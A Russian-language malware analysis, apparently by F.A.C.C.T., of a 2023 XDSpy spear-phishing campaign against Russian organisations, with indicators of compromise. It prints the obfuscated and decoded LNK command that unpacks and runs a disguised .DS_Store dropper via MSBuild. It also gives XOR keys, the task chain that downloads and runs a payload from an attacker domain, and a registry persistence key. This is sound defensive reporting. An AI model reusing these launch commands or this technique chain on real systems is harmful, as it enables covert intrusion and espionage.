XDSpy — одна из самых таинственных и малоизученных кибершпионских групп. Впервые ее засек в феврале 2020 года белорусский CERT, хотя сама группа активна как минимум с 2011 года. Большинство целей XDSpy находятся в России — это правительственные, военные, финансовые учреждения, а также энергетические, исследовательские и добывающие компании. Но несмотря на то, что XDSpy с завидной регулярностью появляется на радарах, международные специалисты так и не определились, в интересах какой страны работает эта хак-группа.
Итак, что случилось? Во вторник, 11 июля, Центр кибербезопасности F.A.C.C.T. получил оповещение о том, система для проактивного поиска и защиты от сложных и неизвестных киберугроз F.A.С.С.T. Managed XDR задетектила вредоносную рассылку. Системе потребовалось всего пару минут, чтобы "сдетонировать" вредоносную нагрузку и извлечь индикаторы, по которым удалось атрибутировать атаку к шпионской группе XDSpy. Среди вероятных целей хакеров оказались несколько российских компаний и организаций, и один из известных научно-исследовательских институтов. Изображение 1. Процесс извлечения вредоносного файла по ссылке в письме в системе Изображение 2. Атрибуция с помощью F.A.C.C.T. Threat Intelligence по домену files-manager[.]com, содержащему полезную нагрузку.
Письмо-приманка, подписанное Министерством по чрезвычайным ситуациям, довольно странное — тема сообщения абсолютно не соответсвует функциям МЧС. В тексте письма получателей просят посмотреть список сотрудников компании, которые "могут симпатизировать группам, дестабилизирующим внутреннюю ситуацию в России". Отправители письма угрожают, что в случае отсутствия ответа, против сотрудников будут приняты юридические меры.Изображение 3. Скриншот письма-приманки из рассылки 11 июля.
Под видом файла-приманки Spisok_rabotnikov.pdf со списком врачей (!) одной из клиник Ростова-на-Дону загружается вредоносная программа, которая собирает чувствительные данные и документы с компьютера жертвы. Изображение 4. Ряд выявленных индикаторов в результате детонации вредоносного экземпляра в Malware Detonation Platform F.A.C.C.T. MXDR.
После обнаружения новой кампании XDSpy Аветик Надирян, руководитель группы по выявлению и реагированию на киберинциденты Центра кибербезопасности F.A.C.C.T., провел первичный анализ рассылки для ее атрибуции и определения масштаба атаки, а затем к реверсу подключилась “тяжелая артиллерия” в лице Дмитрия Купина, ведущего специалиста по анализу вредоносного кода компании F.A.C.C.T. Их находки и индикаторы компроментации мы приводим ниже. Анализ рассылки 11 июня
Внутри письма содержится гиперссылка hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/grWUbTk00UWnSutvoJLaUkJyI в имени документа Spisok_rabotnikov.pdf, которая ведет на загрузку вредоносного архива Spisok_rabotnikov.zip.
Архив Spisok_rabotnikov.zip для рассылки был подготовлен 10.07.2023.
Архив Spisok_rabotnikov.zip содержит 2 файла:
Spisok_rabotnikov.lnk - запускает C# код задачи UTask, содержащийся в файле .DS_Store.
.DS_Store - содержит мусорные строки, команды оболочки командной строки, C# код задачи UTask, настройки проекта сборки и закодированную алгоритмом Base64 полезную нагрузку, которая представлена в виде 9 исполняемых файлов: две DLL легитимные, а остальные семь DLL - задачи, запускающиеся через MSBuild.exe.
В результате выполнения задач происходит демонстрация файла-приманки, скрытая загрузка файла полезной нагрузки HealthDataExperience.exe с сетевого ресурса files-manager[.]com и его последующий запуск. Подробное техническое описание функциональных возможностей представлено ниже.LNK
LNK-файл Spisok_rabotnikov.lnk предназначен для запуска C# кода задачи UTask, содержащегося в файле .DS_Store. Команда в LNK-файле обфусцирована и имеет следующий вид:
forfiles.exe /p %USERPROFILE% /s /m Spisok_rabotnikov.zip /c "0x630x6d0x640x2e0x650x780x65 /0x63 0x630x64 %TEMP% & 0x74ar -0x78f @path 0x2e & 0x630x6d0x640x2e0x650x780x65 /q < %TEMP% x2eDS_Stor0x65"forfiles.exe /p %USERPROFILE% /s /m *Spisok_rabotnikov.zip /c "0x630x6d0x640x2e0x650x780x65 /0x63 0x630x64 %TEMP% & 0x74ar -0x78f @path 0x2e* & 0x630x6d0x640x2e0x650x780x65 /q < %TEMP% x2eDS_Stor0x65"
После деобфускации команда имеет вид:forfiles.exe /p %USERPROFILE% /s /m *Spisok_rabotnikov.zip /c "cmd.exe /c cd %TEMP% & tar -xf @path .* & cmd.exe /q < %TEMP%.DS_Store"
Команда в LNK-файле выполняет следующие действия:
Используя forfiles.exe происходит рекурсивный поиск архива по маске Spisok_rabotnikov.zip, начиная с каталога текущего пользователя %USERPROFILE%.
Переход в каталог %TEMP%, используя команду cd.
В каталоге %TEMP% с помощью команды tar.exe (доступна, начиная с Windows 10) происходит распаковка файлов, имена которых начинаются с . из обнаруженного архива Spisok_rabotnikov.zip.
Запуск содержимого из %TEMP%.DS_Store файла построчно, используя команду "cmd.exe <".
UTask (C# Dropper)
Файл .DS_Store содержит в самом начале мусорные строки (элемент обфускации), после которых следуют команды:mkdir %USERPROFILE%sourcereposFZdlyPUMslYX cd %USERPROFILE%sourcereposFZdlyPUMslYX copy /Y %TEMP%.DS_Store %USERPROFILE%sourcereposFZdlyPUMslYX C:WindowsMicrosoft.NETFrameworkv4.0.30319MSBuild.exe %USERPROFILE%sourcereposFZdlyPUMslYX.DS_Store >nul 2>&1exit
В результате выполнения данных команд создается каталог %USERPROFILE%sourcereposFZdlyPUMslYX, в который копируется файл %TEMP%.DS_Store, после чего происходит компиляция и запуск содержимого C# кода файла .DS_Store с помощью MSBuild.exe.
После указанных команд располагается C# код задачи UTask.
Задача UTask выполняет роль дроппера. Код данной задачи обфусцирован и предназначен для декодирования полезной нагрузки (располагается после C# кода задачи UTask) и сохранения декодированных файлов полезной нагрузки в каталог %USERPROFILE%sourcereposFZdlyPUMslYX:
IRVkMCvS.blob - XorTask (задача _aSyzNgT7d18NpzuJHYhlYrzXNPG)
jFXvSUwAb.blob - AntiSandboxTask (задача _fsh1fYMdExGdJ0UKqIXq0s0tLJG)
KNEdBVMwkY.blob - ExecuteTask (задача _dycW4DGLIQ75gosRrPdxqttPfkE)
kVaocWvcXxpj.blob - DownloadTask (задача _eXdtj65NprE9kjSakYTX7tOsbLb)
MuIJdGFgmniD.blob - SlowdownTask (задача _huo7h8CP6Mizq9S4Dg5zNuYyVyb)
nXkBdHyy.blob - HideTask (задача _SaCF5X1zV8jhINFNCliJJ0Atydp)
xnhvkUzROwkSr.blob - GuardTask (задача _FkOdNAsgTdH0tOPitrVXFSQ991z)
Microsoft.Build.Framework.dll - легитимный файл
Microsoft.Build.Utilities.Core.dll - легитимный файл
Полезная нагрузка содержит 9 исполняемых файлов, каждый из которых имеет следующий формат в закодированном виде:
Файлы *.blob динамически подключаемые библиотеки (DLL) формата PE32, реализованные на .NET и обфусцированные, предположительно, кастомным ConfuserEx.
После выполнения задачи UTask, MSBuild.exe последовательно исполняет задачи:
nXkBdHyy.blob (HideTask), KNEdBVMwkY.blob (ExecuteTask), xnhvkUzROwkSr.blob (GuardTask), MuIJdGFgmniD.blob (SlowdownTask), jFXvSUwAb.blob (AntiSandboxTask), kVaocWvcXxpj.blob (DownloadTask), MuIJdGFgmniD.blob (SlowdownTask), IRVkMCvS.blob (XorTask), KNEdBVMwkY.blob (ExecuteTask).
Стоит отметить, что важные строки зашифрованы алгоритмом XOR с ключом 16 байт, который передается в параметрах со случайными именами в виде строки. В задачах: HideTask, ExecuteTask, GuardTask, SlowdownTask, AntiSandboxTask, DownloadTask; ключ 3309f5a10063afef30290e635561bcd8, а в задаче XorTask ключ a88194101b73a5b1ed1fff9ebf340726.
В таблице ниже представлены расшифрованные строки, передающиеся в качестве параметров указанным выше задачам, кроме HideTask, AntiSandboxTask и SlowdownTask.
Задача
Параметр
Расшифрованная строка
ExecuteTask
mkXFB6MZ8lmESONcDol1JTjR4Kq
hxxps://files-manager[.]com/document/Spisok_rabotnikov.pdf
ExecuteTask
mkXFB6MZ8lmESONcDol1JTjR4Kq
HealthDataExperience.exe
GuardTask
_VueDgAHltwEszdmBp5N8BtOpFUh
%temp%zWOnFfZp
DownloadTask
_NGWUhdaVQc7D9i5aaMH5YMArRqk
hxxps://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/grWUbTk00UWnSutvoJLaUkJyI
DownloadTask
_msWUmumCLqCVU6edlovRYG0Y6Eg
HealthDataExperience.exe
DownloadTask
_BScGwQZfayw3c2LBgfvUA1e8AVg
Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.82 YaBrowser/22.1.0 Yowser/2.5 Safari/537.36
XorTask
_4fCwQ7rAqcME3wfkvX8av4ravkY
HealthDataExperience.exeКраткое описание последовательности выполнения задач
0. UTask - декодирование файлов полезной нагрузки (располагаются после C# кода задачи UTask) и их создание в каталоге %USERPROFILE%sourcereposFZdlyPUMslYX.
1. nXkBdHyy.blob (HideTask) - сокрытие активного окна запущенного процесса.
2. KNEdBVMwkY.blob (ExecuteTask) - открытие файла-приманки в веб-браузере по умолчанию: hxxps://files-manager[.]com/document/Spisok_rabotnikov.pdf.
5. jFXvSUwAb.blob (AntiSandboxTask) - проверка значений параметров VBAWarnings, AccessVBOM, ExtensionHardening ключей реестра [HKCUSOFTWAREMicrosoftOffice{0}.0WordSecurity], где {0} - числа от 12 до 19 включительно.
6. kVaocWvcXxpj.blob (DownloadTask) - загрузка файла полезной нагрузки по ссылке hxxps://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/grWUbTk00UWnSutvoJLaUkJyI и его сохранение с именем %USERPROFILE%sourcereposFZdlyPUMslYXHealthDataExperience.exe.
7. MuIJdGFgmniD.blob (SlowdownTask) - временная задержка выполнения кода.
8. IRVkMCvS.blob (XorTask) - расшифровка загруженного файла полезной нагрузки %USERPROFILE%sourcereposFZdlyPUMslYXHealthDataExperience.exe.
9. KNEdBVMwkY.blob (ExecuteTask) - запуск загруженного файла полезной нагрузки %USERPROFILE%sourcereposFZdlyPUMslYXHealthDataExperience.exe.
Стоит отметить, что почти во всех задачах, кроме XorTask, добавлена проверка перед выполнением основного кода задачи. Проверка заключается в сравнении подстроки "fe" - 14 и 15 символ строкового параметра "3309f5a10063afef30290e635561bcd8" с прописанной в коде строкой "fe". Если подстрока отлична от "fe", тогда основной код задачи не выполняется.
XDSpy.Mainmodule - HealthDataExperience.exe
XDSpy.Mainmodule является исполняемым файлом формата PE32 и представляет собой агент, предназначенный для получения модулей, выполняющих основные вредоносные действия. Также XDSpy.Mainmodule обрабатывает команды, получаемые от сервера управления lifestyle-star[.]com:443 (91.235.116[.]194). Вредоносная программа обфусцирована и обладает техниками AntiVM и AntiDebug.
Вредоносная программа закрепляется в реестре ОС:
[HKCUEnvironment] "UserInitMprLogonScript" = %USERPROFILE%sourcerepos<random_name>HealthDataExperience.exe
На текущий момент, наши эксперты продолжают исследование полезной нагрузки XDSpy.Mainmodule из данной атаки.
XDSpy пользовалась подобными техниками и раньше: в середине марта текущего года кибершпионы атаковали структуры МИДа России, а в октябре 2022 года — российские организации с фейковыми повестками от имени Минобороны.
Специалисты F.A.C.C.T. продолжают следить за XDSpy и по мере поступления новой информации будут дополнять исследование. Индикаторы компроментации (IOCs)
Файловые
Каталог
%USERPROFILE%sourcerepos<random_name>
Файлы
%USERPROFILE%sourcerepos<random_name><random_name>.blob
%USERPROFILE%sourcerepos<random_name>HealthDataExperience.exe
%USERPROFILE%sourcerepos<random_name>.DS_Store
%TEMP%.DS_Store
%TEMP%<random_name> (пустой файл)
SHA-256 хеши
Spisok_rabotnikov.zip
9f2f6664297714290cb7e1740a1ca1a53957264d43e8662ffd4712c335e2ff30
18c111c6d6fbed436450e158e046ab13a572fb58ea2cc647d398e688061a880c
b4f0d197276d7a376ad376b3165736e70a2aa06003a5c73500b93d85df2ee7c8
Spisok_rabotnikov.lnk
a1bf620c66b8060423c36d07275d66c802af1463b533bc412705680b6c621ebe
9f51f81a395d1e7c2ff2ed9cdb61cd0ce12573523585c19695d8d8db3c8dd02e
14df219f9fc09d02ca35cb1c9a81e99d89385577d44d6b9887c22a02cb8e865b
b878ed1679b45df16f046ddc495150efd4d7e9fb9c7873c40d6368a8515ed1db
5ed56ba4a51516a8bbba25edaeefb0a382f3729c9b28b087962a455d36bb415c
.DS_Store
c296d67b23b2d6ee724aa4984d8acd16231037ac2c66f747213b8d8ee3ac530c
076fa1b5c47fb308fa7598b52cab52b736f079f33ddd1fdca160b3a1770d64a3
bd9abe9085034ac6b3c0ae66d45963ef72d310a8f5b4b6fb9464e00ade90c2c3
e3e706a66638136ebcba0cf7194708b1d2bae3edfc66bd16e4fefb17cdcbe69f
7081eba7ef918913aa2f84e52441ae163800965127567bde499ccebdf9973db9
HealthDataExperience.exe
9f07a6d5345aa1d1a4a906cb2672e33502783efade2b37ea6a5a85608cd8b722
Реестр ОС
[HKCUEnvironment] "UserInitMprLogonScript" = %USERPROFILE%sourcerepos<random_name>HealthDataExperience.exe
Сетевые
Ссылки (URL)
hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/LSsyn5Hg8zSoOQA3rCwAeX6VC
hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/7lxPi6uv7HMWZqDRApOZXlDxS
hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/sbrD01qG7a8ZqdfAu5YTaDTg6
hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/DJ43gz32xiTgDMXNT7w7eU2t9
hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/LlPkkPSSeb5xzq0IoIKoWMBQN
hxxs://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/d0qUEl0rgGThHT2r6m0EzXJ7E
hxxps://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/7iYQUryqOsmAR6aFiYqckHW2i
hxxps://files-manager[.]com/document/Spisok_rabotnikov/Spisok_rabotnikov/idx/download/grWUbTk00UWnSutvoJLaUkJyI
hxxps://files-manager[.]com/document/Spisok_rabotnikov.pdf
hxxps://files-manager[.]com/document/Spisok_rabotnikov/E/idx/download/grWUbTk00UWnSutvoJLaUkJyI
Домены
files-manager[.]com
lifestyle-star[.]com
IP-адреса
185.56.136[.]50
91.235.116[.]194
Источник новости: habr.com